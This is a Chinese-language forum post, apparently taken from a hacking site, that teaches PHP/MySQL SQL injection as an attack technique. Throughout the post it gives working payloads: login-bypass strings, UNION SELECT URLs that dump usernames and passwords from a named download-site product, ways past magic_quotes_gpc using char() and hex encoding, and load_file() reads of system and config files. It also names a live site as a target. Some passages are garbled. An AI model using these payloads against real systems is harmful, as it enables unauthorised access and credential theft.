php注入之完全版
閱讀此文你只要明白下面的這點東西就夠了。
1.明白php+mysql環境是如何搭建的,在光碟中我們收錄搭建的相關文章, 如果您對搭建php+mysql環境不是很清楚, 請先查閱此文,在上一期的專題中也有所介紹。 2.大概瞭解php和apache的配置,主要用到php.ini和httpd.conf 而此文我們主要用到的是php.ini的配置。為了安全起見我們一般都打開 php.ini裡的安全模式,即讓safe_mode = On,還有一個就是返回 php執行錯誤的display_errors 這會返回很多有用的訊息,所以我們應該關閉之, 即讓display_errors=off 關閉錯誤顯示後, php函數執行錯誤的訊息將不會再顯示給用戶。 在php的配置文件php.ini中還有一個非常重要的配置選項magic_quotes_gpc, 高版本的預定都是magic_quotes_gpc=On,只有在原來的古董級的php中的 預定配置是magic_quotes_gpc=Off,可是古董的東西也有人用的哦! 當php.ini中magic_quotes_gpc=On的時候會有什麼情況發生哩, 不用驚慌,天是塌不下來的啦!它只是把提交的變數中所有的 ' (單引號), " (雙引號), \ (反斜線) 和 空字元會 自動轉為含有反斜線的轉義字元,例如把'變成了\',把\變成了\\。 就是這一點,讓我們很不爽哦,很多時候我們對字元型的就只好說BYEBYE了, 但是不用氣餒,我們還是會有好方法來對付它的,往下看咯! 3.有一定的php語言基礎和瞭解一些sql語句,這些都很簡單, 我們用到的東西很少,所以充電還來的及哦! 我們先來看看magic_quotes_gpc=Off的時候我們能幹些啥, 然後我們再想辦法搞一搞magic_quotes_gpc=On的情況哈 一:magic_quotes_gpc=Off時的注入 ref="http://hackbase.com/hacker"target=_blank> 攻擊 magic_quotes_gpc=Off的情況雖然說很不安全,新版本預定也讓 magic_quotes_gpc=On了,可是在很多服務器中 我們還發現magic_quotes_gpc=Off的情況,例如www.qichi.*。 還有某些程式像vbb論壇就算你配置magic_quotes_gpc=On, 它也會自動消除轉義字元讓我們有機可乘,所以說 magic_quotes_gpc=Off的注入方式還是大有市場的。 下面我們將從語法,注入點 and 注入類型幾個方面來詳細講解mysql+php注入 A:從MYSQL語法方面先 1。先講一些mysql的基本語法,算是給沒有好好學習的孩子補課了哦~_~ 1)select SELECT [STRAIGHT_JOIN] [SQL_SMALL_RESULT] select_expression,... [INTO {OUTFILE | DUMPFILE} 'file_name' export_options] [FROM table_references [WHERE where_definition] [GROUP BY col_name,...] [ORDER BY {unsigned_integer | col_name | formula} [ASC | DESC] ,...] ; ] 常用的就是這些,select_expression指想要檢索的列, 後面我們可以用where來限制條件,我們也可以用into outfile將select 結果輸出到文件中。當然我們也可以用select直接輸出 例如 mysql> select 'a'; +---+ | a | +---+ | a | +---+ 1 row in set (0.00 sec) 具體內容請看mysql中文手冊7.12節 下面說一些利用啦 看代碼先 這段代碼是用來搜索的哦 ......... SELECT * FROM users WHERE username LIKE 『%$search%' ORDER BY username ....... ?> 這裡我們順便說一下mysql中的通配符,'%'就是通配符, 其它的通配符還有'*'和'_',其中" * "用來匹配字段名,而" % "用來匹配字段值, 注意的是%必須與like一起適用,還有一個通配符,就是下劃線" _ ", 它代表的意思和上面不同,是用來匹配任何單個的字元的。 在上面的代碼中我們用到了'*'表示返回的所有字段名, %$search%表示所有包含$search字元的內容。 我們如何注入哩? 哈哈,和asp裡很相似 在表單裡提交 Aabb%' or 1=1 order by id# 註:#在mysql中表示註釋的意思,即讓後面的sql語句不執行,後面將講到。 或許有人會問為什麼要用or 1=1呢,看下面, 把提交的內容帶入到sql語句中成為 SELECT * FROM users WHERE username LIKE 『%aabb%' or 1=1 order by id# ORDER BY username 假如沒有含有aabb的用戶名,那麼or 1=1使返回值仍為真,使能返回所有值 我們還可以這樣 在表單裡提交 %' order by id# 或者 ' order by id# 帶入sql語句中成了 SELECT * FROM users WHERE username LIKE 『% %' order by id# ORDER BY username 和 SELECT * FROM users WHERE username LIKE 『%%' order by id# ORDER BY username 當然了,內容全部返回。 列出所有用戶了喲,沒準連密碼都出來哩。 這裡就舉個例子先,下面會有更精妙的select語句出現, select實際上幾乎是無處不在的哦! 2)下面看update咯 Mysql中文手冊裡這麼解釋的: UPDATE [LOW_PRIORITY] tbl_name SET col_name1=expr1,col_name2=expr2,... [WHERE where_definition] UPDATE用新值更新現存表中行的列,SET子句指出哪個列要修改和他們應該被給定的值 ,WHERE子句,如果給出,指定哪個行應該被更新,否則所有行被更新。 詳細內容去看mysql中文手冊7.17節啦,在這裡詳細介紹的話會很囉嗦的哦。 由上可知update主要用於資料的更新,例如文章的修改,用戶資料的修改, 我們似乎更關心後者,因為...... 看代碼先哦 我們先給出表的結構,這樣大家看的明白 CREATE TABLE users ( id int(10) NOT NULL auto 我們構建注入語句吧 在輸入框輸入 a% and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor#放到sql語句中成了 select * from alphadb where title like %a% and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# % 結果如圖17哦 怎麼樣,出來了吧,哈哈,一切盡在掌握之中。 C:下面我們從注入地點上在來看一下各種注入攻擊方式 1) 首先來看看後台登入哦 代碼先 //login.php ....... $query="select * from alphaauthor where UserName= " .$HTTP_POST_VARS["UserName"]." and Password= ". $HTTP_POST_VARS["Password"]." "; $result=mysql_query($query); $data=mysql_fetch_array($result); if ($data) { echo "後台登入成功"; } esle { echo "重新登入"; exit; } ......... ?> Username和password沒有經過任何處理直接放到sql中執行了。 看看我們怎麼繞過呢? 最經典的還是那個: 在用戶名和密碼框裡都輸入 『or = 帶入sql語句中成了 select * from alphaauthor where UserName= or = and Password= or = 這樣帶入得到的$data肯定為真,也就是我們成功登入了。 還有其他的繞過方法,原理是一樣的,就是想辦法讓$data返回是真就可以了。 我們可以用下面的這些中方法哦 1. 用戶名和密碼都輸入 or a = a Sql成了 select * from alphaauthor where UserName= or a = a and Password= or a = a 2. 用戶名和密碼都輸入 or 1=1 and 『 = Sql成了 select * from alphaauthor where UserName= or 1=1 and 『 = and Password= or 1=1 and 『 = 用戶名和密碼都輸入 or 2>1 and 『 = Sql成了 select * from alphaauthor where UserName= or 2>1 and 『 = and Password= or 2>1 and 『 = 3. 用戶名輸入 or 1=1 # 密碼隨便輸入 Sql成了 select * from alphaauthor where UserName= or 1=1 # and Password= anything 後面部分被註釋掉了,當然返回還是真哦。 4. 假設admin的id=1的話你也可以 用戶名輸入 or id=1 # 密碼隨便輸入 Sql成了 select * from alphaauthor where UserName= or id=1 # and Password= anything 如圖18 看看效果圖19 怎麼樣?直接登入了哦! 俗話說的好,只有想不到沒有做不到。 還有更多的構造方法等著課後自己想啦。 2)第二個常用注入的地方應該算是前台資料顯示的地方了。 上面已經多次提到了呀,而且涉及了數位型,字元型等等,這裡就不再重複了哈。 只是舉個例子回顧一下 碧海潮聲下載站 - v2.0.3 lite有注入漏洞,代碼就不再列出來了 直接看結果 http://localhost/down/index.php?url=&dlid=1%20 and%201=2%20union%20select% 201,2,password,4,username,6,7,8,9,10,11,12, 13,14,15,16,17,18%20from% 20dl_users 如圖20 看看,我們又得到我們想要的了 用戶名alpha 密碼一長串。 為什麼我們要把password放在3字段處,把username放在5字段處了 ,我們上面已經提過了哦,就是我們猜測3和5段顯示的應該是字元串型, 而與我們要顯示的username和password的字段類型應該相同,所以我們這樣放了哦。 為什麼要用18個字段呢?不知道大家還是否記得在union select介紹那裡 我們提到union必須要求前後select的字段數相同,我們可以通過 增加select的個數來猜測到需要18個字段,只有這樣union select的內容才會正常顯示哦! 3)其它如資料修改,用戶註冊的地方主要得有用戶等級的應用。 我們在上面講述update和insert的時候都已經講到,因為不是很常用, 這裡就不再闡述,在下面將會提到一些關於update和insert的高階利用技巧。 二:下面將要進入magic_quotes_gpc=On時候的注入攻擊教學環節了 當magic_quotes_gpc=On的時候,交的變數中所有的 (單引號), " (雙引號), \ (反斜線) 和 空字元會自動轉為含有反斜線的轉義字元。 這就使字元型注入的方法化為泡影,這時候我們就只能注入數位型且沒有 Intval()處理的情況了,數位型的我們已經講了很多了是吧, 由於數位型沒有用到單引號自然就沒有繞過的問題了, 對於這種情況我們直接注入就可以了。 1)假如是字元型的就必須得像下面這個樣子,沒有在字元上加引號 。 這裡我們要用到一些字元串處理函數先, 字元串處理函數有很多, 這裡我們主要講下面的幾個,具體可以參照mysql中文參考手冊7.4.10。 char() 將參數解釋為整數並且返回由這些整數 的ASCII代碼字元組成的一個字元串。 當然你也可以用字元的16進制來代替字元,這樣也可以的 ,方法就是在16進制前面加0x,看下面的例子就明白了。 //login.php ...... $query="select * from ".$art_system_db_table[ user ]." where UserName=$username and Password= ".$Pw." "; ...... ?> 假設我們知道後台的用戶名是alpha 轉化成ASCII後是char(97,108,112,104,97) 轉化成16進制是0x616C706861 (我們將在光碟中提供16進制和ascii轉換工具) 好了直接在瀏覽器裡輸入: http://localhost/site/admin/login.php? username=char(97,108,112,104,97)%23 sql語句變成: select * from alphaAut hor where UserName=char(97,108,112,104,97)# and Password= 如圖21 正如我們期望的那樣,他順利執行了,我們得到我們想要的。 當然咯,我們也可以這樣構造 http://localhost/site/admin/login.ph...x616C706861%23 sql語句變成: select * from alphaAuthor where UserName =0x616C706861%23# and Password= 我們再一次是成功者了。很有成就感吧, 或許你會問我們是否可以把#也放在char()裡 實際上char(97,108,112,104,97)相當於 alpha 注意是alpha上加引號,表示alpha字元串。 我們知道在mysql中如果執行 mysql> select * from dl_users where username=alpha; ERROR 1054 (42S22): Unknown column alpha in where clause 看返回錯誤了。因為他會認為alpha是一個變數。所以我們得在alpha上加引號。 如下 mysql> select * from dl_users where username= alpha ; 這樣才是正確的。 如果你把#號也放到那裡去了,就成了 alpha# 帶入sql語句中 select * from dl_users where username= alpha# ; 當然是什麼也沒有了,因為連alpha#這個用戶都沒有。 好,下面我們再來看個例子, //display.php ...... $query="select * from ".$art_system_db_table[ article ]." where type=$type; ...... ?> 代碼根據類型來顯示內容,$type沒有任何過濾, 且沒有加引號放入程式中。 假設type中含有xiaohua類,xiaohua的char()轉換後是 char(120,105,97,111,104,117,97) 我們構建 http://localhost/display.php?type=char(120 ,105, 97,111,104,117,97) and 1=2 union select 1,2,username, 4,password,6,7,8,9,10,11 from alphaauthor 帶入sql語句中為: select * from ".$art_system_db_table[ article ]." where type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10, 11 from alphaauthor 看看,我們的用戶名和密碼照樣出來了哦!沒有抓圖,想像一下咯:P 2) 或許有人會問,在magic_quotes_gpc=On 的情況下功能強大的load_file()還能不能用呢? 這正是我們下面要將的問題了,load_file()的使用 格式是load_file(『文件路徑 ) 我們發現只要把『文件路徑 轉化成char()就可以了。試試看哦 load_file(『c:/boot.ini )轉化成 load_file(char(99,58,47,98,111,111,116,46,105,110,105)) 圖22 放到具體注入裡就是 http://localhost/down/index.php?url= &dlid=1%20and%201=2%20union%20select% 201,2,load_file(char (99,58,47,98,111,111,116,46,105,110,105)),4,5,6, 7,8,9,10,11,12,13,14,15,16, 17,18 看圖23 看看,我們看到了boot.ini的內容了哦。 很可惜的是into outfile 不能繞過,不然就更爽了。但是還是有一個 地方可以使用select * from table into outfile 那就是.... (先賣個關子,下面會告訴你) 三:一些注入技巧,很多都是個人發現哦 1.union select的技巧 UNION 用於將多個 SELECT 語句的結果聯合到一個結果集中。 在 SELECT 中的 select_expression 部分列出的列必須具有同樣的類型。 第一個 SELECT 查詢中使用的列名將作為結果集的列名返回。 然而有我們可以用下面的方法來猜測列的類型,可是省去很多時間 我們先 http://localhost/down/index.php?url=&dlid=1%20and%201=2 %20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 圖24 看看軟件描述裡寫著3,作者裡寫著4,我們就可以猜測3和 4的位置是字元型的,我們再看14前面的是下載次數,這就應該是int型的了,對吧。 好了,我們根據這裡來構建吧,估計username和password也是字元型的。 試試看哦 http://localhost/down/index.php?url=&dlid=1%20and% 201=2%20union%20select%201,2,password,4,username, 6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl_users 如圖25 哈哈,這種方法只要看看就可以大概猜到了。 2.load_file讀寫文件的技巧 不知道你有沒有發現過在我們用load_file()讀寫php 文件時不能在網頁中顯示。例如: C:/apache/htdocs/site/lib/sql.inc.php 轉化為16進制為: 0x433A2F6170616368652F6874646F63732F73697 4652F6C69622F73716C2E696E632E706870 我們構造如下 http://localhost/site/display.php?id= 451%20and%201=2%20%20union%20select%201,2,load_file(0x433A2F6170 616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870) ,4,5,6,7,8,9,10,11 如圖26 發現在文章內容的地方本來該顯示sql.inc.php的,可是卻空空之,為何呢? 我們看看網頁的源代碼先 圖27 哈哈,看看標記的地方,暈死,原來在這裡啊,可是為什麼哩? 原來html中< >用於標注,哈哈,明白了吧!下次可得記得在哪裡找哦。 |
所有時間均為台北時間。現在的時間是 10:56 PM。 |
Powered by vBulletin® 版本 3.6.8
版權所有 ©2000 - 2024, Jelsoft Enterprises Ltd.
『服務條款』
* 有問題不知道該怎麼解決嗎?請聯絡本站的系統管理員 *